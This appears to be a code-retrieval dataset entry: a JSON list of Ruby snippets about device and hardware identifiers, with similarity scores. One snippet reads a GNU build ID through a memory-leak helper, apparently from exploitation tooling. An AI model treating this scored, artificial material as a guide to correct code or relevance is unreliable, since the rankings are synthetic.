[ "def hardware_identifier=(value)\n @hardware_identifier = value\n end", "def hardware_id\n config.hardware_id ||= \"aal-#{SecureRandom.uuid}\"\n end", "def physical_device_id\n return @physical_device_id\n end", "def hardware_node\n @retain_user_connection_parameters.hardware_node\n end", "def hw_id\n # Observe that we sort the pathnames before turning them into MAC\n # addresses, because that gives us a stable ordering when run multiple\n # times on the same machine.\n hw_id = Pathname.glob('/sys/class/net/*').select do |sysfs|\n # This should skip everything except Ethernet style interfaces, which is\n # maybe the right thing to do? Different rule to what we use in DHCP\n # though, so maybe we should just skip if name == 'lo'?\n File.read(sysfs + 'type').chomp == '1'\n end.sort.map do |sysfs|\n address = File.read(sysfs + 'address').chomp\n # this ensures that we strip out empty address fields next\n address.empty? ? nil : address\n end.compact.join('_').gsub(':', '').downcase\n\n # Make sure we actually got *some* hardware ID.\n if hw_id.nil? or hw_id.empty?\n raise \"no network interfaces detected; cannot generate a hardware ID\"\n end\n\n hw_id\n end", "def id; Common.device_id(@handle); end", "def hardware_type\n self[:h_type].to_endian(:big)\n end", "def device_id\n return @device_id\n end", "def device_id\n return @device_id\n end", "def device_id\n return @device_id\n end", "def device_id\n return @device_id\n end", "def physical_device_id=(value)\n @physical_device_id = value\n end", "def manufacturer_id\n mac[0..7]\n end", "def device_id\n accessory_info.device_id\n end", "def platform_id\n case handle\n when \"nokia_6260\"\n 0x101fb3f4\n when \"nokia_6600\"\n 0x101f7963\n when \"nokia_6630\"\n 0x101f7964\n when \"nokia_7610\"\n 0x101fd5db\n when \"nokia_e61\"\n 0x20001858\n when \"nokia_n70\", \"nokia_n72\"\n 0x10200f9a\n else\n raise\n end\n end", "def device_name\n return @device_name\n end", "def device_name\n return @device_name\n end", "def device_name\n return @device_name\n end", "def set_hardware\n @hardware = Hardware.find(params[:id])\n end", "def set_hardware\n @hardware = Hardware.find(params[:id])\n end", "def set_hardware\n @hardware = Hardware.find(params[:id])\n end", "def device\n device_name\n end", "def device_manufacturer\n return @device_manufacturer\n end", "def device_manufacturer\n return @device_manufacturer\n end", "def hash\n [hardware_baseboard, public_key, memory, processors, cpu_logical_count, connection_url, operating_system, cpu_physical_cores, status, operating_system_uptime, cpu_model, owner, cpu_family, cpu_frequency, hardware_firmware].hash\n end", "def hardware_model\n self.model\n end", "def device_id\n @values.fetch('deviceId') { \n @values['deviceId'] = nil\n }\n end", "def get_oid\n \"wee_#{@canvas.current_component.object_id}\"\n end", "def device_id\n 'bedroom'\n end", "def device_display_name\n return @device_display_name\n end", "def device_display_name\n return @device_display_name\n end", "def device_id\n apn_device_token\n end", "def hardware_information\n super\n end", "def platform\n fetch('device.platform')\n end", "def platform_name\n capabilities['platformName']\n end", "def hive_mind_device_identifiers\n { id: @hive_id }\n end", "def malware_identifier\n return @malware_identifier\n end", "def device\n attachments[0]['device'] if has_attachments?\n end", "def display_device_name\n return @display_device_name\n end", "def id\n m = /ether\\s+(\\S+)/.match(`ifconfig wlan0`)\n return nil if m.nil?\n mac = m[1] # WLAN mac address\n return nil if mac.nil?\n MAC2ID[mac.downcase]\n end", "def audio_device_name\n return @audio_device_name\n end", "def uuid\n node_uuid = @os.data.fetch(:dmi, {}).fetch(:system, {}).fetch(:uuid, nil)\n node_uuid && node_uuid.strip\n end", "def physical_devices\n @instruments_physical_devices ||= lambda do\n fetch_devices[:out].chomp.split(\"\\n\").map do |line|\n udid = line[DEVICE_UDID_REGEX, 0]\n if udid\n version = line[VERSION_REGEX, 0]\n if version\n name = line.split('(').first.strip\n if name\n RunLoop::Device.new(name, version, udid)\n end\n end\n else\n nil\n end\n end.compact\n end.call\n end", "def physical_resource_id\n \"#{self.class.name.split('::').last}-#{Carnivore.uuid}\"\n end", "def firmware_name\n \"Little Wire\"\n end", "def oid\n id(get_oid())\n end", "def device_description\n return @device_description\n end", "def bit_locker_encrypt_device\n return @bit_locker_encrypt_device\n end", "def identifier\n @identifiers[0]\n end", "def api_id\n chip_api.tmp_api_id\n end", "def device_tag\n return @device_tag\n end", "def mde_device_id\n return @mde_device_id\n end", "def mde_device_id\n return @mde_device_id\n end", "def hash_id\n @hid\n end", "def video_device_name\n return @video_device_name\n end", "def manufacturer\n fetch('device.manufacturer')\n end", "def id\n @values.fetch('ai.device.id') { \n @values['ai.device.id'] = nil\n }\n end", "def uuid\n output_ptr = FFI::MemoryPointer.new(:char, 36)\n FFI::Libvirt.virStoragePoolGetUUIDString(self, output_ptr)\n output_ptr.read_string\n end", "def serial\n fetch('device.serial')\n end", "def platform_name()\n if @handle.ptr == nil\n raise \"this is disposed\"\n end\n result = Native.RunMetadata_platform_name(@handle.ptr)\n result\n end", "def name\n File.join(\"/dev/\",@device.gsub(/!/, \"/\"))\n end", "def automation_id\n return @automation_id\n end", "def hardware_params\n params.fetch(:hardware, {})\n end", "def automation_id\n @attributes[:automation_id]\n end", "def device_identities\n return @device_identities\n end", "def platform_id\n @banner.dsp_creative_id\n end", "def identifier\n @identifier || (file && storage.try(:identifier))\n end", "def platform_id\n case [edition, fp]\n when [0, 9]\n 0x101f6f88\n when [1, 0]\n 0x101f795f\n when [1, 2]\n 0x101f8202\n when [2, 0]\n 0x101f7960\n when [2, 1]\n 0x101f9115\n when [2, 2]\n 0x101f9115\n when [2, 3]\n 0x10200bab\n when [3, 0]\n 0x101f7961\n when [3, 1]\n 0x102032be\n else\n raise\n end\n end", "def device_type\n return @device_type\n end", "def h4_elements(identifier)\n platform.h4s_for(identifier.clone)\n end", "def device\n @client.get('VBD', :device, @uuid)\n end", "def device_id=(value)\n @device_id = value\n end", "def device_id=(value)\n @device_id = value\n end", "def device_id=(value)\n @device_id = value\n end", "def device_id=(value)\n @device_id = value\n end", "def uuid\n output_ptr = FFI::MemoryPointer.new(:char, 36)\n FFI::Libvirt.virDomainGetUUIDString(self, output_ptr)\n output_ptr.read_string\n end", "def getDeviceByBacking(backingFile, hardware = nil)\n hardware ||= getHardware\n\n hardware[\"device\"].to_a.each do |dev|\n next if dev.xsiType != \"VirtualDisk\"\n next if dev[\"backing\"][\"fileName\"] != backingFile\n return dev\n end\n nil\n end", "def rhizome_eid\n raise NotImplementedError,\n 'No Rhizome Equipment ID method provided!'\n end", "def has_physical_device\n return @has_physical_device\n end", "def platform_details\n data[:platform_details]\n end", "def build_id\n build_id_offsets.each do |offset|\n next unless @leak.n(@libbase + offset + 12, 4) == \"GNU\\x00\"\n\n return @leak.n(@libbase + offset + 16, 20).unpack1('H*')\n end\n nil\n end", "def device_model\n return @device_model\n end", "def device_model\n return @device_model\n end", "def uuid\n output_ptr = FFI::MemoryPointer.new(:char, 48)\n FFI::Libvirt.virDomainGetUUIDString(self, output_ptr)\n output_ptr.read_string\n end", "def has_physical_device\n return @has_physical_device\n end", "def hwaddr\n begin\n exists? && IO.read(\"/sys/class/net/#{name}/address\").strip\n rescue Errno::ENOENT\n end.tap do |address|\n raise Errors::UnknownInterface, \"Interface #{name} not found on this machine\" unless address\n end\n end", "def id\n ChefPlatformSpec.id_from(chef_server, name)\n end", "def device\n self.subscription.device\n end", "def add_hardware_id_to_tag(hardware_id, hardware_type, ble_major, ble_minor, latitude, longitude)\n if hardware_id.nil?\n return :status => 400, :json => { :error => { :message => 'Error hardware id is missing', :code => 'UpdatedError' }}\n else\n if HardwaresHelper.validate_hardware_type(hardware_type)\n\n old_hardware = nil\n #remove hardware from other tags first\n if hardware_type == HardwaresHelper::TYPE_BLE\n unless ble_major.nil? and ble_minor.nil?\n old_hardware = Hardware.where('identifier = ? AND hardware_type = ? AND major = ? AND minor = ?', hardware_id, hardware_type, ble_major, ble_minor)\n end\n else\n old_hardware = Hardware.where('identifier = ? AND hardware_type = ?', hardware_id, hardware_type)\n end\n\n unless old_hardware.nil?\n old_hardware.destroy_all\n end\n\n hardware = Hardware.create(identifier: hardware_id, hardware_type: hardware_type)\n\n unless hardware.nil?\n\n # add major and minor id on bluetooth beacons\n if hardware_type == HardwaresHelper::TYPE_BLE\n unless ble_major.nil? and ble_minor.nil?\n hardware.major = ble_major\n hardware.minor = ble_minor\n end\n end\n\n # add hardware location\n unless latitude.nil? and longitude.nil?\n location = HardwareLocation.create(latitude: latitude, longitude: longitude)\n\n unless location.nil?\n hardware.hardware_locations << location\n end\n end\n end\n\n self.hardwares << hardware\n self.save\n else\n return 400, nil, 'Error while adding hardware', 'AddingHardwareError'\n end\n\n return 200, self, '', ''\n end\n end", "def platform\n data.platform\n end", "def guest_platform\n node[:rightimage][:platform]\n end", "def guest_platform\n node[:rightimage][:platform]\n end", "def determine_name\n name = nil\n\n case @type\n when :computer\n name = `sudo dmidecode -s system-serial-number`.chomp\n when :hard_drive\n `sudo smartctl -i #{@options['device']}`.each_line do |line|\n line =~ /^Serial\\sNumber:\\s+([A-Za-z0-9_-]+)$/\n name = $1\n end\n end\n\n # Check if the id is valid (all word characters plus dash)\n if ( name =~ /^[A-Za-z0-9_-]+$/ )\n name\n else\n nil\n end\n end", "def device\n @device ||= Device.new(ua)\n end", "def serial_number; Common.serial_number(@handle); end", "def platform\n data[:platform]\n end", "def device_account\n return @device_account\n end", "def manufacturer\n Mac.manufacturer(mac)\n end", "def platform\n @attributes[:platform]\n end", "def hex\n @id.unpack('H*').first\n end" ]
[ "0.7267722", "0.6816238", "0.66773564", "0.64218706", "0.6417946", "0.6249328", "0.61052483", "0.59381914", "0.59381914", "0.59381914", "0.59381914", "0.5927582", "0.5761347", "0.5741232", "0.5711874", "0.5550906", "0.5550906", "0.5550906", "0.55166835", "0.55166835", "0.55166835", "0.55087626", "0.5465269", "0.5465269", "0.54558426", "0.54362047", "0.54142135", "0.5377231", "0.5359527", "0.5352169", "0.5352169", "0.53506917", "0.53504235", "0.533516", "0.5327724", "0.5303332", "0.5298927", "0.5265125", "0.52591014", "0.5258822", "0.524015", "0.52086186", "0.5186782", "0.51847726", "0.5177795", "0.5173822", "0.5168315", "0.51635253", "0.5149116", "0.5147714", "0.5130184", "0.51017505", "0.51017505", "0.5081273", "0.50582886", "0.5054964", "0.5042214", "0.50392747", "0.5035775", "0.50257176", "0.5014268", "0.5002503", "0.49991196", "0.49960184", "0.49959928", "0.49797755", "0.4970474", "0.49691314", "0.4935608", "0.49339113", "0.49254826", "0.49169427", "0.49169427", "0.49169427", "0.49169427", "0.48908907", "0.48829636", "0.4879675", "0.4876935", "0.4875023", "0.4870026", "0.48681915", "0.48681915", "0.48647943", "0.48623952", "0.48489556", "0.48351765", "0.48304737", "0.4828817", "0.4819116", "0.48105943", "0.48105943", "0.4804886", "0.4798434", "0.4796905", "0.47964472", "0.47792226", "0.4772507", "0.47706532", "0.4761893" ]
0.8226272
0
Sets the hardwareIdentifier property value. Hardware Blob of the Windows autopilot device.
def hardware_identifier=(value) @hardware_identifier = value end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def hardware_identifier\n return @hardware_identifier\n end", "def hardware_id\n config.hardware_id ||= \"aal-#{SecureRandom.uuid}\"\n end", "def set_hardware\n @hardware = Hardware.find(params[:id])\n end", "def set_hardware\n @hardware = Hardware.find(params[:id])\n end", "def set_hardware\n @hardware = Hardware.find(params[:id])\n end", "def physical_device_id=(value)\n @physical_device_id = value\n end", "def set_hardware_item\n begin\n @hardware_item = HardwareItem.find(params[:id])\n rescue ActiveRecord::RecordNotFound\n redirect_to hardware_items_url, alert: 'Item could not be found'\n end\n end", "def add_hardware_id_to_tag(hardware_id, hardware_type, ble_major, ble_minor, latitude, longitude)\n if hardware_id.nil?\n return :status => 400, :json => { :error => { :message => 'Error hardware id is missing', :code => 'UpdatedError' }}\n else\n if HardwaresHelper.validate_hardware_type(hardware_type)\n\n old_hardware = nil\n #remove hardware from other tags first\n if hardware_type == HardwaresHelper::TYPE_BLE\n unless ble_major.nil? and ble_minor.nil?\n old_hardware = Hardware.where('identifier = ? AND hardware_type = ? AND major = ? AND minor = ?', hardware_id, hardware_type, ble_major, ble_minor)\n end\n else\n old_hardware = Hardware.where('identifier = ? AND hardware_type = ?', hardware_id, hardware_type)\n end\n\n unless old_hardware.nil?\n old_hardware.destroy_all\n end\n\n hardware = Hardware.create(identifier: hardware_id, hardware_type: hardware_type)\n\n unless hardware.nil?\n\n # add major and minor id on bluetooth beacons\n if hardware_type == HardwaresHelper::TYPE_BLE\n unless ble_major.nil? and ble_minor.nil?\n hardware.major = ble_major\n hardware.minor = ble_minor\n end\n end\n\n # add hardware location\n unless latitude.nil? and longitude.nil?\n location = HardwareLocation.create(latitude: latitude, longitude: longitude)\n\n unless location.nil?\n hardware.hardware_locations << location\n end\n end\n end\n\n self.hardwares << hardware\n self.save\n else\n return 400, nil, 'Error while adding hardware', 'AddingHardwareError'\n end\n\n return 200, self, '', ''\n end\n end", "def set_admin_hardware_type\n @admin_hardware_type = Admin::HardwareType.find(params[:id])\n end", "def device_id=(value)\n @device_id = value\n end", "def device_id=(value)\n @device_id = value\n end", "def device_id=(value)\n @device_id = value\n end", "def device_id=(value)\n @device_id = value\n end", "def physical_device_id\n return @physical_device_id\n end", "def malware_identifier=(value)\n @malware_identifier = value\n end", "def hardware_node\n @retain_user_connection_parameters.hardware_node\n end", "def hw_id\n # Observe that we sort the pathnames before turning them into MAC\n # addresses, because that gives us a stable ordering when run multiple\n # times on the same machine.\n hw_id = Pathname.glob('/sys/class/net/*').select do |sysfs|\n # This should skip everything except Ethernet style interfaces, which is\n # maybe the right thing to do? Different rule to what we use in DHCP\n # though, so maybe we should just skip if name == 'lo'?\n File.read(sysfs + 'type').chomp == '1'\n end.sort.map do |sysfs|\n address = File.read(sysfs + 'address').chomp\n # this ensures that we strip out empty address fields next\n address.empty? ? nil : address\n end.compact.join('_').gsub(':', '').downcase\n\n # Make sure we actually got *some* hardware ID.\n if hw_id.nil? or hw_id.empty?\n raise \"no network interfaces detected; cannot generate a hardware ID\"\n end\n\n hw_id\n end", "def add_hardware_id_to_tag\n tag = Tag.find_by_tag_identifier(params[:id])\n hardware_id = params[:hardware_id]\n hardware_type = params[:hardware_type]\n\n #optional\n latitude = params[:lat]\n longitude = params[:lon]\n ble_major = params[:major]\n ble_minor = params[:minor]\n\n if hardware_id.nil?\n return_error_infos(400, 'Hardware ID is missing', 'HardwareIDMissing', nil)\n return\n end\n\n error = []\n\n if hardware_type.nil?\n error << 'hardware_type'\n end\n\n # also require major und minor id by bluetooth beacons\n unless hardware_type.nil?\n if hardware_type == HardwaresHelper::TYPE_BLE\n if ble_major.nil?\n error << 'major'\n end\n\n if ble_minor.nil?\n error << 'minor'\n end\n end\n end\n\n if error.length > 0\n return_error_infos(400, 'Request values are missing', 'InvalidRequest', error)\n return\n end\n\n if tag.nil?\n return_error_infos(400, 'Tag not found', 'TagNotFound', nil)\n else\n status, tag, error_msg, error_code = tag.add_hardware_id_to_tag(hardware_id, hardware_type, ble_major, ble_minor, latitude, longitude)\n\n if status.nil?\n return_error_infos(400, 'Error while updating tag', 'InvalidRequest', nil)\n else\n\n if status != 200\n return_error_infos(status, error_msg, error_code, nil)\n else\n return_tag_infos(tag, nil)\n end\n end\n end\n end", "def set_hw_type\n @hw_type = HwType.find(params[:id])\n end", "def set_firmware\n @firmware = Firmware.find(params[:id])\n end", "def device_identities=(value)\n @device_identities = value\n end", "def id; Common.device_id(@handle); end", "def hardware_params\n params.require(:hardware).permit(:owner, :host, :os, :os_version, :install_date, :boot_time, :make, :model, :type, :processor, :physical_memory, :available_physical_memory, :serial_number, :issue_date, :return_date, :employee_id, :truck, :dock, :monitor, :disposed_date, :disposed_reason, :computer_name, :phone_number, :imei, :toner_ink, :device_type, :receive_date, :manufacture_year)\n end", "def set_device_manufacturer\n @device_manufacturer = DeviceManufacturer.find(params[:id])\n end", "def identifier=(value)\n value = value.to_i\n value = rand(65535) if value == 0\n @identifier = value\n @data.merge!({identifier: @identifier})\n # @identifier = [3, 4, value].pack('cnN')\n end", "def identifier=(value)\n setId(value)\n end", "def set_digital_object_identifier\n @digital_object_identifier = DigitalObjectIdentifier.find(params[:id])\n end", "def identifier=(identifier)\n instance_set(:identifier, identifier)\n end", "def hardware_params\n params.fetch(:hardware, {})\n end", "def id=(value)\n if value == @defaults['ai.device.id']\n @values.delete 'ai.device.id' if @values.key? 'ai.device.id'\n else\n @values['ai.device.id'] = value\n end\n end", "def has_physical_device=(value)\n @has_physical_device = value\n end", "def device_manufacturer=(value)\n @device_manufacturer = value\n end", "def device_manufacturer=(value)\n @device_manufacturer = value\n end", "def platform_id\n case handle\n when \"nokia_6260\"\n 0x101fb3f4\n when \"nokia_6600\"\n 0x101f7963\n when \"nokia_6630\"\n 0x101f7964\n when \"nokia_7610\"\n 0x101fd5db\n when \"nokia_e61\"\n 0x20001858\n when \"nokia_n70\", \"nokia_n72\"\n 0x10200f9a\n else\n raise\n end\n end", "def hardware_information\n super\n end", "def has_physical_device=(value)\n @has_physical_device = value\n end", "def update_virtual_hardware_section(xml, hardware)\n update_virtual_hardware_section_item_mem(xml, **hardware[:memory]) if hardware[:memory]\n update_virtual_hardware_section_item_cpu(xml, **hardware[:cpu]) if hardware[:cpu]\n array_wrap(hardware[:disk]).reject { |d| d[:id].nil? || d[:capacity_mb] == -1 }.each { |disk| update_virtual_hardware_section_item_hdd(xml, **disk) }\n array_wrap(hardware[:disk]).select { |d| d[:id].nil? }.each { |disk| add_virtual_hardware_section_item_hdd(xml, **disk) }\n array_wrap(hardware[:disk]).select { |d| d[:capacity_mb] == -1 }.each { |disk| remove_virtual_hardware_section_item_hdd(xml, id: disk[:id]) }\n end", "def hardware_prefetch=(hardware_prefetch)\n validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n unless validator.valid?(hardware_prefetch)\n fail ArgumentError, \"invalid value for \\\"hardware_prefetch\\\", must be one of #{validator.allowable_values}.\"\n end\n @hardware_prefetch = hardware_prefetch\n end", "def set_router_firmware\n @router_firmware = RouterFirmware.find(params[:id])\n end", "def set_identifier\n @identifier = Identifier.find(params[:id])\n end", "def set_identifier\n @identifier = Identifier.find(params[:id])\n end", "def set_product_ware_house\r\n @product_ware_house = ProductWareHouse.find(params[:id])\r\n end", "def automation_id=(value)\n @automation_id = value\n end", "def set_identifier\n self.identifier ||= SecureRandom.uuid\n end", "def create\n @hardware = Hardware.new(permitted_params[:hardware])\n params[:hardware]\n\n respond_to do |format|\n if @hardware.save\n format.html { redirect_to @hardware, notice: 'Hardware was successfully created.' }\n format.json { render :show, status: :created, location: @hardware }\n else\n format.html { render :new }\n format.json { render json: @hardware.errors, status: :unprocessable_entity }\n end\n end\n end", "def mde_device_id=(value)\n @mde_device_id = value\n end", "def mde_device_id=(value)\n @mde_device_id = value\n end", "def device_id\n 'bedroom'\n end", "def set_identifier\n self.identifier = self.name.downcase.gsub(/[^a-zA-Z0-9]+/, '-').chomp('-')\n end", "def set_device\n @device = Device.find(params[:id])\n end", "def hardware_status=(hardware_status)\n validator = EnumAttributeValidator.new('String', [\"Missing-Os-Driver-Info\", \"Incompatible-Server-With-Component\", \"Incompatible-Processor\", \"Incompatible-Os-Info\", \"Incompatible-Component-Model\", \"Incompatible-Firmware\", \"Incompatible-Driver\", \"Incompatible-Firmware-Driver\", \"Service-Unavailable\", \"Service-Error\", \"Unrecognized-Protocol\", \"Not-Evaluated\", \"Compatible\"])\n unless validator.valid?(hardware_status)\n fail ArgumentError, \"invalid value for \\\"hardware_status\\\", must be one of #{validator.allowable_values}.\"\n end\n @hardware_status = hardware_status\n end", "def physical_devices\n @instruments_physical_devices ||= lambda do\n fetch_devices[:out].chomp.split(\"\\n\").map do |line|\n udid = line[DEVICE_UDID_REGEX, 0]\n if udid\n version = line[VERSION_REGEX, 0]\n if version\n name = line.split('(').first.strip\n if name\n RunLoop::Device.new(name, version, udid)\n end\n end\n else\n nil\n end\n end.compact\n end.call\n end", "def hardware_type\n self[:h_type].to_endian(:big)\n end", "def set_firmware_driver(firmware)\n self['firmwareBaselineUri'] = firmware['uri'] if firmware['uri'] || firmware.retrieve!\n raise \"Resource #{firmware['customBaselineName']} could not be found!\" unless firmware['uri']\n end", "def device_id=(value)\n if value == @defaults['deviceId']\n @values.delete 'deviceId' if @values.key? 'deviceId'\n else\n @values['deviceId'] = value\n end\n end", "def set_navtoolhw\n @navtoolhw = Navtoolhw.find(params[:id])\n end", "def manufacturer_id\n mac[0..7]\n end", "def set_device\n @device = Device.find(params[:id])\n end", "def set_device\n @device = Device.find(params[:id])\n end", "def set_device\n @device = Device.find(params[:id])\n end", "def set_device\n @device = Device.find(params[:id])\n end", "def set_device\n @device = Device.find(params[:id])\n end", "def set_device\n @device = Device.find(params[:id])\n end", "def set_device\n @device = Device.find(params[:id])\n end", "def set_device\n @device = Device.find(params[:id])\n end", "def set_device\n @device = Device.find(params[:id])\n end", "def set_device\n @device = Device.find(params[:id])\n end", "def set_device\n @device = Device.find(params[:id])\n end", "def set_device\n @device = Device.find(params[:id])\n end", "def set_device\n @device = Device.find(params[:id])\n end", "def set_device\n @device = Device.find(params[:id])\n end", "def set_device\n @device = Device.find(params[:id])\n end", "def set_device\n @device = Device.find(params[:id])\n end", "def device_id\n @values.fetch('deviceId') { \n @values['deviceId'] = nil\n }\n end", "def hardware_params\n params.require(:hardware).permit(:description,:hardwareimage,:trackingsheet, :countryoforgin, :mill, :supplier, :supplierpart, :leadtime, :unitqty, :unitprice, :totalprice)\n end", "def set_device\n @device = current_user.devices.find(params[:id])\n end", "def add_location_to_hardware(hardware_id, latitude, longitude)\n unless hardware_id.nil? and latitude.nil? and longitude.nil?\n tag = Tag.joins(:hardwares).find_by('hardwares.identifier' => hardware_id)\n\n location = HardwareLocation.create(latitude: latitude, longitude: longitude)\n\n tag.hardwares.each do |item|\n if item.identifier == hardware_id\n item.hardware_locations << location\n end\n end\n end\n end", "def usb_emul6064=(usb_emul6064)\n validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n unless validator.valid?(usb_emul6064)\n fail ArgumentError, \"invalid value for \\\"usb_emul6064\\\", must be one of #{validator.allowable_values}.\"\n end\n @usb_emul6064 = usb_emul6064\n end", "def add(hardware, node_uid, hard)\n num1 = node_uid.split('-')[1].to_i\n if hardware.has_value?(hard) == false\n hardware[[num1]] = hard\n else\n num2 = hardware.key(hard)\n hardware.delete(num2)\n hardware[num2.push(num1)] = hard\n end\nend", "def set_otg_ident\n @otg_ident = OtgIdent.find(params[:id])\n end", "def set_device\n @device = current_user.devices.where(id:params[:id]).first\n end", "def set_Identifier(value)\n set_input(\"Identifier\", value)\n end", "def set_identifiers\n identifier.tap do |i|\n i.value = user.icn\n i.system = SYSTEM_ID\n i.type = identifier_type\n end\n end", "def id\n @values.fetch('ai.device.id') { \n @values['ai.device.id'] = nil\n }\n end", "def set_Identifier(value)\n set_input(\"Identifier\", value)\n end", "def set_vehicle_manufacturer\n @vehicle_manufacturer = VehicleManufacturer.find(params[:id])\n end", "def show_by_hardware_id\n hardware_id = params[:id]\n hardware_type = params[:type]\n\n # optional\n lang_code = params[:lang]\n latitude = params[:lat]\n longitude = params[:lon]\n ble_major = params[:major]\n ble_minor = params[:minor]\n\n error = []\n if hardware_id.nil?\n error << 'id'\n end\n\n if hardware_type.nil?\n error << 'type'\n end\n\n # also require major und minor id by bluetooth beacons\n unless hardware_type.nil?\n if hardware_type == HardwaresHelper::TYPE_BLE\n if ble_major.nil?\n error << 'major'\n end\n\n if ble_minor.nil?\n error << 'minor'\n end\n end\n end\n\n if error.length > 0\n return_error_infos(400, 'Request values are missing', 'InvalidRequest', error)\n return\n end\n\n if hardware_type == HardwaresHelper::TYPE_BLE\n tag = Tag.show_by_ble_hardware_id(hardware_id, hardware_type, ble_major, ble_minor)\n else\n tag = Tag.show_by_hardware_id(hardware_id, hardware_type)\n end\n\n # add location to hardware\n unless latitude.nil? and longitude.nil? and tag.nil?\n tag.add_location_to_hardware(hardware_id, latitude, longitude)\n end\n\n # update scan counter\n unless tag.nil?\n tag_scanned(tag)\n end\n\n return_tag_infos(tag, lang_code)\n end", "def audio_device_name=(value)\n @audio_device_name = value\n end", "def generate_product_manufacturer\n @driver.find_element(id: @product_manufacturer).send_keys(Faker::Company.industry)\n end", "def set_special_device_list\n @special_device_list = SpecialDeviceList.find(params[:id])\n end", "def set_web_id(value) @web_id = value; end", "def display_device_name=(value)\n @display_device_name = value\n end", "def intel_hyper_threading_tech=(intel_hyper_threading_tech)\n validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n unless validator.valid?(intel_hyper_threading_tech)\n fail ArgumentError, \"invalid value for \\\"intel_hyper_threading_tech\\\", must be one of #{validator.allowable_values}.\"\n end\n @intel_hyper_threading_tech = intel_hyper_threading_tech\n end", "def set_device\n @device = Device.find(params[:id])\n end", "def set_device\n @device = Device.find(params[:id])\n end", "def set_device\n @device = Device.find(params[:id])\n end", "def set_device\n @device = Device.find(params[:id])\n end", "def set_computers_chipset\n @computers_chipset = ComputersChipset.find(params[:id])\n end", "def set_device\n @device = Device.find(params[:device_id])\n end", "def populate_hardware_profiles\n # If the provider already has hardware profiles, do not refetch them:\n return provider.hardware_profiles if provider.hardware_profiles.present?\n # FIXME: once API has hw profiles, change the below\n hardware_profiles = connect.hardware_profiles\n _provider = provider\n self.transaction do\n hardware_profiles.each do |hardware_profile|\n ar_hardware_profile = HardwareProfile.new(:external_key =>\n hardware_profile.id,\n :name => hardware_profile.id,\n :provider_id => _provider.id)\n ar_hardware_profile.add_properties(hardware_profile)\n ar_hardware_profile.save!\n end\n end\n end" ]
[ "0.7052961", "0.6750583", "0.67390734", "0.67390734", "0.67390734", "0.6581593", "0.56818354", "0.56209815", "0.54742146", "0.54734427", "0.54734427", "0.54734427", "0.54734427", "0.5430827", "0.5416021", "0.53931653", "0.5378978", "0.53646004", "0.52603596", "0.522259", "0.5220605", "0.5154346", "0.5152085", "0.5111751", "0.51097566", "0.51041526", "0.5063337", "0.5055534", "0.50269496", "0.5017627", "0.5002736", "0.49811277", "0.49811277", "0.49797243", "0.49671593", "0.49655256", "0.496343", "0.49564707", "0.4942154", "0.49327806", "0.49327806", "0.49310553", "0.49191588", "0.490026", "0.4883226", "0.48831984", "0.48831984", "0.48542687", "0.48470798", "0.48227215", "0.48219576", "0.4818939", "0.48176268", "0.48061377", "0.48014417", "0.47908336", "0.47822335", "0.4779044", "0.4779044", "0.4779044", "0.4779044", "0.4779044", "0.4779044", "0.4779044", "0.4779044", "0.4779044", "0.4779044", "0.4779044", "0.4779044", "0.4779044", "0.4779044", "0.4779044", "0.4779044", "0.47782868", "0.47777423", "0.4775856", "0.47664925", "0.47334576", "0.47174352", "0.47032502", "0.4703238", "0.4696088", "0.46949017", "0.46945944", "0.4692015", "0.46636695", "0.46599516", "0.46583605", "0.46507487", "0.464842", "0.46428087", "0.46425575", "0.46226507", "0.46224496", "0.46224496", "0.46224496", "0.46224496", "0.46058416", "0.46012363", "0.45995048" ]
0.8225751
0
Gets the importId property value. The Import Id of the Windows autopilot device.
def import_id return @import_id end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def import_id=(value)\n @import_id = value\n end", "def set_import\n @import = Import.find(params[:id])\n end", "def set_import\n @import = Import.find(params[:id])\n end", "def set_import\n @import = Import.find(params[:id])\n end", "def o_id\n return if model.o_id.nil?\n return model.o_id if model.import_object.nil?\n\n h.auto_link(model.import_object, model.o_id.to_s)\n end", "def set_import\n @import = Import.find(params[:id])\n end", "def set_imports_import\n @imports_import = Imports::Import.find(params[:imports_import_id])\n end", "def id\n object.external_id\n end", "def import_file_path\n @import_file_path ||= real_import_file_path\n end", "def retrieve_import_value(env)\n parse_boolean_value(env['IMPORT'])\n end", "def id\n get_screen_config['id']\n end", "def id\n raise MissingID if not defined?(@id)\n @id.to_i\n end", "def dev_id(device: nil)\n path = \"/plugin_package\"\n response = nil\n simple_connection(device: device) do |conn|\n response = conn.get path\n end\n\n dev_id = /Your Dev ID:\\s*<font[^>]*>([^<]*)<\\/font>/.match(response.body)\n dev_id ||= /Your Dev ID:[^>]*<\\/label> ([^<]*)/.match(response.body)\n dev_id = dev_id[1] if dev_id\n dev_id ||= \"none\"\n dev_id\n end", "def id\n @values.fetch('ai.device.id') { \n @values['ai.device.id'] = nil\n }\n end", "def csv_import_path\n File.join(ENV['IMPORT_PATH'], 'csv', self.id.to_s)\n end", "def import!\n return selected_importer.import!\n end", "def get_id \n part_number = PartNumber.get_part_number(self)\n part_number.id if part_number\n end", "def get_id()\n return @id\n end", "def intent_id\n log_message \"Fetching id of #{ @name } intent\"\n intents = @client.get_intents_request\n\n matching_intent = intents.select { |intent| intent[ :name ] == @name.to_s }\n\n if matching_intent.empty?\n # TODO: Consult Exceptional Ruby for a better way to do this\n raise \"There is no intent named #{@name}\"\n else\n return matching_intent.first[ :id ]\n end\n end", "def device_id\n return @device_id\n end", "def device_id\n return @device_id\n end", "def device_id\n return @device_id\n end", "def device_id\n return @device_id\n end", "def external_id\n return @external_id\n end", "def external_id\n return @external_id\n end", "def external_id\n return @external_id\n end", "def external_id\n return @external_id\n end", "def drive_id\n return @drive_id\n end", "def getId()\n\t\t\treturn @_id\n\t\tend", "def id\n fields['id']\n end", "def automation_id\n return @automation_id\n end", "def identifier\n @identifier || (file && storage.try(:identifier))\n end", "def import_path\n @import_paths ||= Pathname.new(source_dir).join(data['import_path'] || './imports').to_s\n end", "def id(request, required: true)\n\t\t\t\tdevice_id = request.env['HTTP_X_DEVICE_ID']\n\t\t\t\traise ::TVManager::BadRequest, 'Client device identifier was not supplied' if required && (device_id.nil? || device_id.empty?)\n\n\t\t\t\tdevice_id\n\t\t\tend", "def identifier\n return resource_decorator.layer_name if resource_decorator.layer_name&.first&.present?\n return unless 